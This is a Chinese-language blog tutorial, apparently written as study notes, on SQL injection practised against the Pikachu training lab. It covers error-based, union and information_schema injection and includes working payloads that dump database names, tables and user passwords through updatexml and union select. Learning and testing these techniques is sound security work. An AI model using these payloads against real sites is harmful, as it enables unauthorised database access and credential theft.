SQL注入漏洞攻防

  1. SQL注入攻击原理

SQL注入攻击通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,它目前是黑客对数据库进行攻击的最常用手段之一。

  1. SQL注入攻击分类及提交方式

攻击分类及提交方式

注入前的准备与注入漏洞检测

在进行 SQL 注入攻击时,需要利用到从服务器返回的各种出错信息,默认设置是不显示详细错误返回信息的,因此首先要取消 IE 浏览器返回信息设置,以便查看到注入攻击时返回的数据库信息

将浏览器设置选项高级 显示取消友好 HTTP 错误信息

手工检测 SQL 注入点

最常用的 SQL 注入点判断方法,是在网站中寻找如下形式的网页链接。

http://www.*****.com/***.asp?id=xx (ASP 注入)

或者下面的链接。

http://www.*****.com/***.php?id=xx (php 注入)

http://www.*****.com/***.jsp?id=xx (jsp 注入)

http://www.*****.com/***.aspx?id=xx (aspx 注入)

http://www.*****.com/index.asp?id=8&page=99 (有多个参数)

(注:注入的时候确认是 id 参数还page 参数,工具默认只对后面 page 参数注入,所以要对工具进行配置或者手工调换)

http://www.*****.com/index/new/id/8 伪静态

http://www. *****.com/index/new/php-8.html 伪静态

其中的“**”可能是数字,也有可能是字符串

分别被称为整数类型数据和字符型数据

如何判断某个网页链接是否存在 SQL 注入漏洞呢?通常有两种检测方法。

1.“单引号”法

第一种检测 SQL 注入漏洞是否存在的方法是“单引号”法。方法很简单,直接在浏览器地址栏中的网址链接后加上一个单引号,如果页面不能正常显示,浏览器返回一些异常信息, 则说明该链接可能存在注入漏洞。

2. 1=1 和 1=2 法

很多时候检测提交包含引号的链接时,会提示非法字符,或者直接不返回任何信息,但 这并不等于不存在 SQL 注入漏洞。此时可使用经典的“1=1 和 1=2”法进行检测。方法很简 单,就是直接在链接地址后分别加上 and 1=1 和 and 1=2 进行提交,如果返回不同的页面, 那么说明存在 SQL 注入漏洞。

注入分类

数字型注入

注入参数为数字

字符型注入

注意单引号闭合

搜索型注入

%xxx%' or 1=1 #%

SQL 的模糊查询命令 select * from 表名 where 字段名 like ‘%(对应值)%’;

XX型注入

XX') or 1=1#

单引号闭合

由于 SQL 语句拼接方式不同

注入提交方式

ASP

request (全部接受)

request.querystring (接受 get)

request.form (接受 post)

request.cookie(接受 cookie)

PHP:

$_REQUEST(全部接受)

$_GET(接受get)

$_POST (接受 post)

$_COOKIE(接受 cookie)

三种方式注入方法

post

可通过安装火狐浏览器插件(hackbar)或 Burp 工具来完成

get

一般直接通过浏览器地址栏提交

cookie

一般通 Burp 工具来完成,修改cookie,进行一个注入

注意

这是由程序代码自身决定的

一般中间件 waf 防火墙 对get防护最高  其次是post 最后是cookie  

很多人在写注入防御代码时,写了post get的,但是没有过滤cookie的

  1. union及information schema手工注入

union 注入

union 操作符用于合并两个或多个 SQL 语句集合起来,得到联合的查询结果。

确认字段个数

注:union 操作符一般与 order by 语句配合使用

因为查询的字段不能超过主查询的字段,这个时候可以在 SQL 语句后面加 order by 进行排序,通过这个办法可以判断主查询的字段。

例如 若a' order by 4#%之前都没有报错,则三个字段

使用union针对查出来的字段数做一个SQL语句拼接

例如a' union select database(),user(),version()#%

information_schema 注入

information_schema (提纲)数据库是 MySQL 系统自带的数据库。

其中保存着关于 MySQL服务器所维护的所有其他数据库的信息。通过 information_schema 注入,我们可以将整个数据库内容全部窃取出来

先通过之前的union先找出数据库的名称

输入 vince' union select database(),user(),3#%

得到数据库名

获取pikachu数据库的表名

u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#

where table_schema='pikachu'

指定数据库

from information_schema.   tables为 information_schema数据库库中的table表

table_schema ,table_name

为table表中的两个字段

table_schema

存储了数据库名

table_name

存储了表名

由此得到了表名

获取 pikachu 数据库的字段名

k'union select table_name,column_name,3 from information_schema.columns where table_name='users'#%

table_name='users'指定表名为users的表

from information_schema.columns  为 information_schema数据库库中的columns表

table_name,column_name

table_name

存储了表名

column_name

存储了字段名

得到了字段名

最后获取敏感字段值的内容 username uid 等

输入:kobe'union select username ,password,3 from users#%

对密码解密

  1. 基于函数报错手工注入(insert update delete)http Header及Cookie手工注入

基于函数报错注入

常见攻击方法

updataxml注入

载荷注入

insert注入

updata注入

delet注入

extractvalue()注入

技巧思路

在 MYSQL 中使用一些指定的凼数来制造报错,从而从报错信息中获取设定的信息,

常见的select/insert/update/delete 注入都可以使用报错方式来获取信息.

背景条件

后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端

运维人员设置中间件的时候,把错误输出没有屏蔽

程序员写网站代码的时候,没有屏蔽错误信息输出

基于报错的信息获取(三个常用的用来报错的函数)

updatexml():函数是 MYSQL 对 XML 文档数据进行查询和修改的 XPATH 函数

使用频率最高

函数使用UPDATEXML (XML_document, XPath_string, new_value);

三个参数

XML_document

XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc

XPath_string

XPath_string (Xpath 格式的字符串) ,如果丌了解 Xpath 语法,可以在网

上查找教程。

new_value

第三个参数:new_value,String 格式,替换查找到的符合条件的数据

extractvalue() :函数也是 MYSQL 对 XML 文档数据进行查询的 XPATH 函数

 floor():MYSQL 中用来取整的函数

实战测试

1、爆数据库版本信息

k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #

前后的1 ,代表替换到查找到的一个数据

concat拼接函数

0x7e

~   十六进制

(SELECT @@version)

查询语句

2、爆数据库当前用户

k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#

3、爆数据库

k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #

4、爆表

获取数据库 表名

k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#

但是反馈回的错误表示只能显示一行,所以采用 limit 来一行一行显示

k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#

更改 limit 后面的数字 limit 0 完成表名遍历

5、爆字段

k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#

6、爆字段内容

k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#

结果说明

返回结果为连接参数产生的字符串。如有任何一个参数为 NULL ,则返回值为 NULL。

通过查询@@version,返回版本。然后 CONCAT 将其字符串化。因为 UPDATEXML 第二个参数需要 Xpath 格式的字符串,所以不符合要求,然后报错。

insert注入(注册信息使用函数)

insert 注入,就是前端注册的信息最终会被后台通过 insert 这个操作插入数据库,后台在接受前端的注册数据时没有做防 SQL 注入的处理,导致前端的输入可以直接拼接 SQL到后端的 insert 相关内容中,导致了 insert 注入。

在注册页面填写注册信息的时候抓包并寻找注入点输入payload例如用户名等

基本格式

oldboy'or updatexml(1,concat(0x7e,(命令)),0) or'

or的作用是将后文变成一条语句

实战

1. 爆表名

oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'

2. 爆列名

' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where

table_name='users'limit 2,1)),0) or'

3. 爆内容

' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同

' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''

update注入(用于用户登陆端修改用户信息)

一般登录网站前台或后台更新用户信息的地方,填写用户需要修改相关信息,通过 Burp 抓包在用户名输入相关 payload

' or updatexml(0,concat(0x7e,(database())),0) or'

delet注入(删除相关)

一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过 Brup Suite 抓包,对数据包相关 delete 参数进行注入,注入方法如下:

delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)

遇到的问题

burp数据包提交报错

选定之后,对其进行url编码

  1. (布尔型、时间型)手工盲注

布尔盲注

在SQL注入过程中,应用界面仅仅返回True(页面)或者False(页面)。无法根据应用程序的返回页面得到需要的数据库信息。可以通过构造逻辑判断(比较大小)来得到需要的信息。

select id,name from product where id=1 and 1=1

 布尔型盲注步骤和语句

1.判断当前数据库名长度与数据库名称

and select length(database())>n //判断数据库名长度

and ascii(substr(database(),m,1))>n //截取数据库名第m个字符并转换成ascii码 判断具体值

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小武很忙

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值